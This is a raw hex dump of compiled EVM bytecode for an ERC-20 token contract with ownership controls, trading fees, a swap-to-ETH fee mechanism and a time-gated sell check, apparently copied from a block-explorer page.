05c760048036038101906105c29190611f1f565b610e38565b005b6060600380546105d890611fbb565b80601f016020809104026020016040519081016040528092919081815260200182805461060490611fbb565b80156106515780601f1061062657610100808354040283529160200191610651565b820191906000526020600020905b81548152906001019060200180831161063457829003601f168201915b5050505050905090565b600061066f610668610ffe565b8484611006565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106f5610ffe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146107b1578281101561079c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107939061205e565b60405180910390fd5b6107b0856107a8610ffe565b858403611006565b5b6107bc8585856111cf565b60019150509392505050565b600a5481565b60006012905090565b60006108796107e4610ffe565b8484600160006107f2610ffe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461087491906120ad565b611006565b6001905092915050565b60095481565b600f60009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900460ff1681565b600b5481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c5481565b610931610ffe565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b79061212d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ab3610ffe565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b399061212d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba890612199565b60405180910390fd5b6001600f60026101000a81548160ff02191690831515021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060048054610c1f90611fbb565b80601f0160208091040260200160405190810160405280929190818152602001828054610c4b90611fbb565b8015610c985780601f10610c6d57610100808354040283529160200191610c98565b820191906000526020600020905b815481529060010190602001808311610c7b57829003601f168201915b5050505050905090565b60008060016000610cb1610ffe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d659061222b565b60405180910390fd5b610d82610d79610ffe565b85858403611006565b600191505092915050565b6000610da1610d9a610ffe565b84846111cf565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e5481565b610e40610ffe565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ecf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec69061212d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f35906122bd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106c9061234f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110db906123e1565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111c29190611e50565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361123e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123590612473565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a490612505565b60405180910390fd5b600081036112c6576112c18383600061168d565b611688565b60006112d1306108db565b90506000600e5482101590508080156112f75750600f60019054906101000a900460ff16155b80156113515750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156113695750600f60029054906101000a900460ff165b156113ca576001600f60016101000a81548160ff021916908315150217905550600f60009054906101000a900460ff16156113a457600e5491505b6113ae858361190c565b6000600f60016101000a81548160ff0219169083151502179055505b600d60009054906101000a900460ff1680156114345750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561148d5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561149a5750600c5442105b156114ab5760006114aa57600080fd5b5b6000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061154e5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806115655750600f60019054906101000a900460ff165b156115735760009050611639565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036115d2576009549050611638565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361163157600a549050611637565b600b5490505b5b5b6000811115611679576000606482866116529190612525565b61165c9190612596565b9050808561166a91906125c7565b945061167787308361168d565b505b61168486868661168d565b5050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f390612473565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361176b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176290612505565b60405180910390fd5b611776838383611bfc565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156117fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f39061266d565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461188f91906120ad565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118f39190611e50565b60405180910390a3611906848484611c01565b50505050565b60004790506000600367ffffffffffffffff81111561192e5761192d61268d565b5b60405190808252806020026020018201604052801561195c5781602001602082028036833780820191505090505b5090503081600081518110611974576119736126bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505083816001815181106119c3576119c26126bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a8e9190612700565b81600281518110611aa257611aa16126bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611b40959493929190612826565b600060405180830381600087803b158015611b5a57600080fd5b505af1158015611b6e573d6000803e3d6000fd5b5050505060008247611b8091906125c7565b90506000811115611bf557600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611bf3573d6000803e3d6000fd5b505b5050505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c40578082015181840152602081019050611c25565b60008484015250505050565b6000601f19601f8301169050919050565b6000611c6882611c06565b611c728185611c11565b9350611c82818560208601611c22565b611c8b81611c4c565b840191505092915050565b60006020820190508181036000830152611cb08184611c5d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611ce882611cbd565b9050919050565b611cf881611cdd565b8114611d0357600080fd5b50565b600081359050611d1581611cef565b92915050565b6000819050919050565b611d2e81611d1b565b8114611d3957600080fd5b50565b600081359050611d4b81611d25565b92915050565b60008060408385031215611d6857611d67611cb8565b5b6000611d7685828601611d06565b9250506020611d8785828601611d3c565b9150509250929050565b60008115159050919050565b611da681611d91565b82525050565b6000602082019050611dc16000830184611d9d565b92915050565b6000819050919050565b6000611dec611de7611de284611cbd565b611dc7565b611cbd565b9050919050565b6000611dfe82611dd1565b9050919050565b6000611e1082611df3565b9050919050565b611e2081611e05565b82525050565b6000602082019050611e3b6000830184611e17565b92915050565b611e4a81611d1b565b82525050565b6000602082019050611e656000830184611e41565b92915050565b600080600060608486031215611e8457611e83611cb8565b5b6000611e9286828701611d06565b9350506020611ea386828701611d06565b9250506040611eb486828701611d3c565b9150509250925092565b600060ff82169050919050565b611ed481611ebe565b82525050565b6000602082019050611eef6000830184611ecb565b92915050565b611efe81611cdd565b82525050565b6000602082019050611f196000830184611ef5565b92915050565b600060208284031215611f3557611f34611cb8565b5b6000611f4384828501611d06565b91505092915050565b60008060408385031215611f6357611f62611cb8565b5b6000611f7185828601611d06565b9250506020611f8285828601611d06565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611fd357607f821691505b602082108103611fe657611fe5611f8c565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000612048602883611c11565b915061205382611fec565b604082019050919050565b600060208201905081810360008301526120778161203b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006120b882611d1b565b91506120c383611d1b565b92508282019050808211156120db576120da61207e565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612117602083611c11565b9150612122826120e1565b602082019050919050565b600060208201905081810360008301526121468161210a565b9050919050565b7f4e65772061646472657373206973207a65726f00000000000000000000000000600082015250565b6000612183601383611c11565b915061218e8261214d565b602082019050919050565b600060208201905081810360008301526121b281612176565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612215602583611c11565b9150612220826121b9565b604082019050919050565b6000602082019050818103600083015261224481612208565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006122a7602683611c11565b91506122b28261224b565b604082019050919050565b600060208201905081810360008301526122d68161229a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612339602483611c11565b9150612344826122dd565b604082019050919050565b600060208201905081810360008301526123688161232c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006123cb602283611c11565b91506123d68261236f565b604082019050919050565b600060208201905081810360008301526123fa816123be565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061245d602583611c11565b915061246882612401565b604082019050919050565b6000602082019050818103600083015261248c81612450565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006124ef602383611c11565b91506124fa82612493565b604082019050919050565b6000602082019050818103600083015261251e816124e2565b9050919050565b600061253082611d1b565b915061253b83611d1b565b925082820261254981611d1b565b915082820484148315176125605761255f61207e565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006125a182611d1b565b91506125ac83611d1b565b9250826125bc576125bb612567565b5b828204905092915050565b60006125d282611d1b565b91506125dd83611d1b565b92508282039050818111156125f5576125f461207e565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612657602683611c11565b9150612662826125fb565b604082019050919050565b600060208201905081810360008301526126868161264a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506126fa81611cef565b92915050565b60006020828403121561271657612715611cb8565b5b6000612724848285016126eb565b91505092915050565b6000819050919050565b600061275261274d6127488461272d565b611dc7565b611d1b565b9050919050565b61276281612737565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61279d81611cdd565b82525050565b60006127af8383612794565b60208301905092915050565b6000602082019050919050565b60006127d382612768565b6127dd8185612773565b93506127e883612784565b8060005b8381101561281957815161280088826127a3565b975061280b836127bb565b9250506001810190506127ec565b5085935050505092915050565b600060a08201905061283b6000830188611e41565b6128486020830187612759565b818103604083015261285a81866127c8565b90506128696060830185611ef5565b6128766080830184611e41565b969550505050505056fea2646970667358221220a2144fe83725977ae9c5d6860485bc531a14265a8c8a6666aea57d2bacb9ca3c64736f6c63430008120033

Deployed Bytecode

0x60806040526004361061014f5760003560e01c8063702509fd116100b657806395d89b411161006f57806395d89b4114610493578063a457c2d7146104be578063a9059cbb146104fb578063dd62ed3e14610538578063e2f4560514610575578063f2fde38b146105a057610156565b8063702509fd1461039557806370a08231146103c057806370b7b80c146103fd578063715018a6146104285780638da5cb5b1461043f57806391c1004a1461046a57610156565b8063313ce56711610108578063313ce5671461028157806339509351146102ac57806347062402146102e9578063488eb37f1461031457806349bd5a5e1461033f5780634ada218b1461036a57610156565b806306fdde031461015b578063095ea7b3146101865780631694505e146101c357806318160ddd146101ee57806323b872dd146102195780632b14ca561461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b506101706105c9565b60405161017d9190611c96565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190611d51565b61065b565b6040516101ba9190611dac565b60405180910390f35b3480156101cf57600080fd5b506101d8610679565b6040516101e59190611e26565b60405180910390f35b3480156101fa57600080fd5b5061020361069f565b6040516102109190611e50565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190611e6b565b6106a9565b60405161024d9190611dac565b60405180910390f35b34801561026257600080fd5b5061026b6107c8565b6040516102789190611e50565b60405180910390f35b34801561028d57600080fd5b506102966107ce565b6040516102a39190611eda565b60405180910390f35b3480156102b857600080fd5b506102d360048036038101906102ce9190611d51565b6107d7565b6040516102e09190611dac565b60405180910390f35b3480156102f557600080fd5b506102fe610883565b60405161030b9190611e50565b60405180910390f35b34801561032057600080fd5b50610329610889565b6040516103369190611dac565b60405180910390f35b34801561034b57600080fd5b5061035461089c565b6040516103619190611f04565b60405180910390f35b34801561037657600080fd5b5061037f6108c2565b60405161038c9190611dac565b60405180910390f35b3480156103a157600080fd5b506103aa6108d5565b6040516103b79190611e50565b60405180910390f35b3480156103cc57600080fd5b506103e760048036038101906103e29190611f1f565b6108db565b6040516103f49190611e50565b60405180910390f35b34801561040957600080fd5b50610412610923565b60405161041f9190611e50565b60405180910390f35b34801561043457600080fd5b5061043d610929565b005b34801561044b57600080fd5b50610454610a81565b6040516104619190611f04565b60405180910390f35b34801561047657600080fd5b50610491600480360381019061048c9190611f1f565b610aab565b005b34801561049f57600080fd5b506104a8610c10565b6040516104b59190611c96565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190611d51565b610ca2565b6040516104f29190611dac565b60405180910390f35b34801561050757600080fd5b50610522600480360381019061051d9190611d51565b610d8d565b60405161052f9190611dac565b60405180910390f35b34801561054457600080fd5b5061055f600480360381019061055a9190611f4c565b610dab565b60405161056c9190611e50565b60405180910390f35b34801561058157600080fd5b5061058a610e32565b6040516105979190611e50565b60405180910390f35b3480156105ac57600080fd5b506105c760048036038101906105c29190611f1f565b610e38565b005b6060600380546105d890611fbb565b80601f016020809104026020016040519081016040528092919081815260200182805461060490611fbb565b80156106515780601f1061062657610100808354040283529160200191610651565b820191906000526020600020905b81548152906001019060200180831161063457829003601f168201915b5050505050905090565b600061066f610668610ffe565b8484611006565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106f5610ffe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146107b1578281101561079c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107939061205e565b60405180910390fd5b6107b0856107a8610ffe565b858403611006565b5b6107bc8585856111cf565b60019150509392505050565b600a5481565b60006012905090565b60006108796107e4610ffe565b8484600160006107f2610ffe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461087491906120ad565b611006565b6001905092915050565b60095481565b600f60009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900460ff1681565b600b5481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c5481565b610931610ffe565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b79061212d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ab3610ffe565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b399061212d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba890612199565b60405180910390fd5b6001600f60026101000a81548160ff02191690831515021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060048054610c1f90611fbb565b80601f0160208091040260200160405190810160405280929190818152602001828054610c4b90611fbb565b8015610c985780601f10610c6d57610100808354040283529160200191610c98565b820191906000526020600020905b815481529060010190602001808311610c7b57829003601f168201915b5050505050905090565b60008060016000610cb1610ffe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d659061222b565b60405180910390fd5b610d82610d79610ffe565b85858403611006565b600191505092915050565b6000610da1610d9a610ffe565b84846111cf565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e5481565b610e40610ffe565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ecf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec69061212d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f35906122bd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106c9061234f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110db906123e1565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111c29190611e50565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361123e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123590612473565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a490612505565b60405180910390fd5b600081036112c6576112c18383600061168d565b611688565b60006112d1306108db565b90506000600e5482101590508080156112f75750600f60019054906101000a900460ff16155b80156113515750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156113695750600f60029054906101000a900460ff165b156113ca576001600f60016101000a81548160ff021916908315150217905550600f60009054906101000a900460ff16156113a457600e5491505b6113ae858361190c565b6000600f60016101000a81548160ff0219169083151502179055505b600d60009054906101000a900460ff1680156114345750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561148d5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561149a5750600c5442105b156114ab5760006114aa57600080fd5b5b6000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061154e5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806115655750600f60019054906101000a900460ff165b156115735760009050611639565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036115d2576009549050611638565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361163157600a549050611637565b600b5490505b5b5b6000811115611679576000606482866116529190612525565b61165c9190612596565b9050808561166a91906125c7565b945061167787308361168d565b505b61168486868661168d565b5050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f390612473565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361176b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176290612505565b60405180910390fd5b611776838383611bfc565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156117fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f39061266d565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461188f91906120ad565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118f39190611e50565b60405180910390a3611906848484611c01565b50505050565b60004790506000600367ffffffffffffffff81111561192e5761192d61268d565b5b60405190808252806020026020018201604052801561195c5781602001602082028036833780820191505090505b5090503081600081518110611974576119736126bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505083816001815181106119c3576119c26126bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a8e9190612700565b81600281518110611aa257611aa16126bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611b40959493929190612826565b600060405180830381600087803b158015611b5a57600080fd5b505af1158015611b6e573d6000803e3d6000fd5b5050505060008247611b8091906125c7565b90506000811115611bf557600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611bf3573d6000803e3d6000fd5b505b5050505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c40578082015181840152602081019050611c25565b60008484015250505050565b6000601f19601f8301169050919050565b6000611c6882611c06565b611c728185611c11565b9350611c82818560208601611c22565b611c8b81611c4c565b840191505092915050565b60006020820190508181036000830152611cb08184611c5d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611ce882611cbd565b9050919050565b611cf881611cdd565b8114611d0357600080fd5b50565b600081359050611d1581611cef565b92915050565b6000819050919050565b611d2e81611d1b565b8114611d3957600080fd5b50565b600081359050611d4b81611d25565b92915050565b60008060408385031215611d6857611d67611cb8565b5b6000611d7685828601611d06565b9250506020611d8785828601611d3c565b9150509250929050565b60008115159050919050565b611da681611d91565b82525050565b6000602082019050611dc16000830184611d9d565b92915050565b600081